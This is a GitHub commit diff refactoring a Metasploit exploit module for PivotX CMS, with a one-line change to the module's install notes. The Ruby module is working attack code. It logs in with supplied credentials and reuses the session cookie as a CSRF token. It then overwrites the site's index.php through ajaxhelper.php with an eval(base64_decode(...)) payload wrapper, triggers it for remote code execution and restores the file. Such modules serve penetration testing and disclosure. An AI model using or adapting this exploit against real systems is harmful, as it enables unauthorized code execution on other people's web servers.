Skip to content

Commit 54c86cf

Browse files
committed
Addressing comments
1 parent 75f6e6a commit 54c86cf

File tree

2 files changed

+17
-19
lines changed

2 files changed

+17
-19
lines changed

documentation/modules/exploit/linux/http/pivotx_rce.md renamed to documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ Install steps:
88
1. Install Apache2, MySQL, PHP8.2+
99
1. `git clone https://github.com/pivotx/PivotX.git`
1010
1. Move `PivotX` to webfolder
11+
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`
1112

1213
## Verification Steps
1314

modules/exploits/linux/http/pivotx_rce.rb renamed to modules/exploits/linux/http/pivotx_index_php_overwrite.rb

Lines changed: 16 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -6,8 +6,8 @@
66
class MetasploitModule < Msf::Exploit::Remote
77
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
88

9-
include Exploit::Remote::Tcp
109
include Exploit::Remote::HttpClient
10+
prepend Msf::Exploit::Remote::AutoCheck
1111

1212
def initialize(info = {})
1313
super(
@@ -56,62 +56,59 @@ def initialize(info = {})
5656
def check
5757
res = send_request_cgi({
5858
'method' => 'GET',
59-
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
59+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
6060
})
6161

62-
return Exploit::CheckCode::Unknown, 'Unexpected response' unless res&.code == 200
62+
return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
6363

64-
return Exploit::CheckCode::Safe, 'Target is not PivotX' unless res.body.include?('PivotX Powered')
64+
return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
6565

6666
html_body = res.get_html_document
6767

68-
return Exploit::CheckCode::Unknown, 'Could not find version element' unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
68+
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
6969

7070
version = Rex::Version.new(Regexp.last_match(1))
7171

72-
return Exploit::CheckCode::Appears, "Detected PivotX #{version}" if version <= Rex::Version.new('3.0.0-rc3')
72+
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
7373

74-
return Exploit::CheckCode::Safe, "PivotX #{version} is not vulnerable"
74+
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
7575
end
7676

7777
def login
7878
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
79-
data_post = "------WebKitFormBoundary#{boundary}\r\n"
8079

80+
data_post = "------WebKitFormBoundary#{boundary}\r\n"
8181
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
8282
data_post << "\r\n"
8383
data_post << "------WebKitFormBoundary#{boundary}\r\n"
84-
8584
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
8685
data_post << "\r\n"
8786
data_post << "------WebKitFormBoundary#{boundary}\r\n"
88-
8987
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
9088
data_post << "#{datastore['USERNAME']}\r\n"
9189
data_post << "------WebKitFormBoundary#{boundary}\r\n"
92-
9390
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
9491
data_post << "#{datastore['PASSWORD']}\r\n"
9592
data_post << "------WebKitFormBoundary#{boundary}\r\n"
9693

97-
res = send_request_cgi({
94+
res = send_request_cgi!({
9895
'method' => 'POST',
99-
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
96+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
10097
'vars_get' => { 'page' => 'login' },
10198
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
10299
'data' => data_post,
103100
'keep_cookies' => true
104101
})
105102

106-
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
103+
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && !res.body.include?('Incorrect username/password') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
107104

108105
@csrf_token = Regexp.last_match(1)
109106
end
110107

111108
def modify_file
112109
res = send_request_cgi({
113110
'method' => 'GET',
114-
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php'),
111+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
115112
'vars_get' => { 'page' => 'homeexplore' }
116113
})
117114

@@ -121,7 +118,7 @@ def modify_file
121118

122119
res = send_request_cgi({
123120
'method' => 'GET',
124-
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
121+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
125122
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
126123
})
127124

@@ -133,7 +130,7 @@ def modify_file
133130

134131
res = send_request_cgi({
135132
'method' => 'POST',
136-
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
133+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
137134
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
138135
})
139136

@@ -143,14 +140,14 @@ def modify_file
143140
def trigger_payload
144141
send_request_cgi({
145142
'method' => 'POST',
146-
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')
143+
'uri' => normalize_uri(target_uri.path, 'index.php')
147144
})
148145
end
149146

150147
def restore
151148
res = send_request_cgi({
152149
'method' => 'POST',
153-
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'ajaxhelper.php'),
150+
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
154151
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
155152
})
156153
vprint_status('Restoring original content')

0 commit comments

Comments
 (0)